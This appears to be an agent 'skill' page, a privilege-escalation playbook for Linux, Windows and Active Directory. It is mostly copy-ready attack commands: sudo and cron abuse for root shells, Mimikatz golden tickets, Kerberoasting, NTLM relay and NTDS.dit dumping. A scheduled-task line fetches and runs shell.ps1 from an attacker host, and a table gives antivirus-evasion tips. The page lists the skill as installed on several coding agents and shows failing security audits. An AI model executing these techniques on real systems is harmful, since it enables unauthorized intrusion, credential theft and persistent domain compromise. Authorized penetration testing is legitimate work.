🇺🇸English
Privilege Escalation Methods
Purpose
Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.
Inputs/Prerequisites
- Initial low-privilege shell access on target system
- Kali Linux or penetration testing distribution
- Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus
- Understanding of Windows/Linux privilege models
- For AD attacks: Domain user credentials and network access to DC
Outputs/Deliverables
- Root or Administrator shell access
- Extracted credentials and hashes
- Persistent access mechanisms
- Domain compromise (for AD environments)
Core Techniques
Linux Privilege Escalation
1. Abusing Sudo Binaries
Exploit misconfigured sudo permissions using GTFOBins techniques:
# Check sudo permissions
sudo -l
# Exploit common binaries
sudo vim -c ':!/bin/bash'
sudo find /etc/passwd -exec /bin/bash \;
sudo awk 'BEGIN {system("/bin/bash")}'
sudo python -c 'import pty;pty.spawn("/bin/bash")'
sudo perl -e 'exec "/bin/bash";'
sudo less /etc/hosts # then type: !bash
sudo man man # then type: !bash
sudo env /bin/bash
2. Abusing Scheduled Tasks (Cron)
# Find writable cron scripts
ls -la /etc/cron*
cat /etc/crontab
# Inject payload into writable script
echo 'chmod +s /bin/bash' > /home/user/systemupdate.sh
chmod +x /home/user/systemupdate.sh
# Wait for execution, then:
/bin/bash -p
3. Abusing Capabilities
# Find binaries with capabilities
getcap -r / 2>/dev/null
# Python with cap_setuid
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Perl with cap_setuid
/usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
# Tar with cap_dac_read_search (read any file)
/usr/bin/tar -cvf key.tar /root/.ssh/id_rsa
/usr/bin/tar -xvf key.tar
4. NFS Root Squashing
# Check for NFS shares
showmount -e <victim_ip>
# Mount and exploit no_root_squash
mkdir /tmp/mount
mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mount
cd /tmp/mount
cp /bin/bash .
chmod +s bash
5. MySQL Running as Root
# If MySQL runs as root
mysql -u root -p
\! chmod +s /bin/bash
exit
/bin/bash -p
Windows Privilege Escalation
1. Token Impersonation
# Using SweetPotato (SeImpersonatePrivilege)
execute-assembly sweetpotato.exe -p beacon.exe
# Using SharpImpersonation
SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser
2. Service Abuse
# Using PowerUp
. .\PowerUp.ps1
Invoke-ServiceAbuse -Name 'vds' -UserName 'domain\user1'
Invoke-ServiceAbuse -Name 'browser' -UserName 'domain\user1'
3. Abusing SeBackupPrivilege
import-module .\SeBackupPrivilegeUtils.dll
import-module .\SeBackupPrivilegeCmdLets.dll
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\temp\ntds.dit
4. Abusing SeLoadDriverPrivilege
# Load vulnerable Capcom driver
.\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\capcom.sys
.\ExploitCapcom.exe
5. Abusing GPO
.\SharpGPOAbuse.exe --AddComputerTask --Taskname "Update" `
--Author DOMAIN\<USER> --Command "cmd.exe" `
--Arguments "/c net user Administrator Password!@# /domain" `
--GPOName "ADDITIONAL DC CONFIGURATION"
Active Directory Attacks
1. Kerberoasting
# Using Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.100 -request
# Using CrackMapExec
crackmapexec ldap 10.0.2.11 -u 'user' -p 'pass' --kdcHost 10.0.2.11 --kerberoast output.txt
2. AS-REP Roasting
.\Rubeus.exe asreproast
3. Golden Ticket
# DCSync to get krbtgt hash
mimikatz# lsadump::dcsync /user:krbtgt
# Create golden ticket
mimikatz# kerberos::golden /user:Administrator /domain:domain.local `
/sid:S-1-5-21-... /rc4:<NTLM_HASH> /id:500
4. Pass-the-Ticket
.\Rubeus.exe asktgt /user:USER$ /rc4:<NTLM_HASH> /ptt
klist # Verify ticket
5. Golden Ticket with Scheduled Tasks
# 1. Elevate and dump credentials
mimikatz# token::elevate
mimikatz# vault::cred /patch
mimikatz# lsadump::lsa /patch
# 2. Create golden ticket
mimikatz# kerberos::golden /user:Administrator /rc4:<HASH> `
/domain:DOMAIN /sid:<SID> /ticket:ticket.kirbi
# 3. Create scheduled task
schtasks /create /S DOMAIN /SC Weekly /RU "NT Authority\SYSTEM" `
/TN "enterprise" /TR "powershell.exe -c 'iex (iwr http://attacker/shell.ps1)'"
schtasks /run /s DOMAIN /TN "enterprise"
Credential Harvesting
LLMNR Poisoning
# Start Responder
responder -I eth1 -v
# Create malicious shortcut (Book.url)
[InternetShortcut]
URL=https://facebook.com
IconIndex=0
IconFile=\\attacker_ip\not_found.ico
NTLM Relay
responder -I eth1 -v
ntlmrelayx.py -tf targets.txt -smb2support
Dumping with VSS
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\
Quick Reference
| Technique | OS | Domain Required | Tool |
|---|
| Sudo Binary Abuse | Linux | No | GTFOBins |
| Cron Job Exploit | Linux | No | Manual |
| Capability Abuse | Linux | No | getcap |
| NFS no_root_squash | Linux | No | mount |
| Token Impersonation | Windows | No | SweetPotato |
| Service Abuse | Windows | No | PowerUp |
| Kerberoasting | Windows | Yes | Rubeus/Impacket |
| AS-REP Roasting |
Constraints
Must:
- Have initial shell access before attempting escalation
- Verify target OS and environment before selecting technique
- Use appropriate tool for domain vs local escalation
Must Not:
- Attempt techniques on production systems without authorization
- Leave persistence mechanisms without client approval
- Ignore detection mechanisms (EDR, SIEM)
Should:
- Enumerate thoroughly before exploitation
- Document all successful escalation paths
- Clean up artifacts after engagement
Examples
Example 1: Linux Sudo to Root
# Check sudo permissions
$ sudo -l
User www-data may run the following commands:
(root) NOPASSWD: /usr/bin/vim
# Exploit vim
$ sudo vim -c ':!/bin/bash'
root@target:~# id
uid=0(root) gid=0(root) groups=0(root)
Example 2: Windows Kerberoasting
# Request service tickets
$ GetUserSPNs.py domain.local/jsmith:Password123 -dc-ip 10.10.10.1 -request
# Crack with hashcat
$ hashcat -m 13100 hashes.txt rockyou.txt
Troubleshooting
| Issue | Solution |
|---|
| sudo -l requires password | Try other enumeration (SUID, cron, capabilities) |
| Mimikatz blocked by AV | Use Invoke-Mimikatz or SafetyKatz |
| Kerberoasting returns no hashes | Check for service accounts with SPNs |
| Token impersonation fails | Verify SeImpersonatePrivilege is present |
| NFS mount fails | Check NFS version compatibility (vers=2,3,4) |
Additional Resources
For detailed enumeration scripts, use:
- LinPEAS : Linux privilege escalation enumeration
- WinPEAS : Windows privilege escalation enumeration
- BloodHound : Active Directory attack path mapping
- GTFOBins : Unix binary exploitation reference
When to Use
This skill is applicable to execute the workflow or actions described in the overview.
Weekly Installs
66
Repository
sickn33/antigra…e-skills
GitHub Stars
27.1K
First Seen
Feb 26, 2026
Security Audits
Gen Agent Trust HubFailSocketFailSnykFail
Installed on
opencode66
github-copilot65
gemini-cli65
codex65
kimi-cli65
amp65
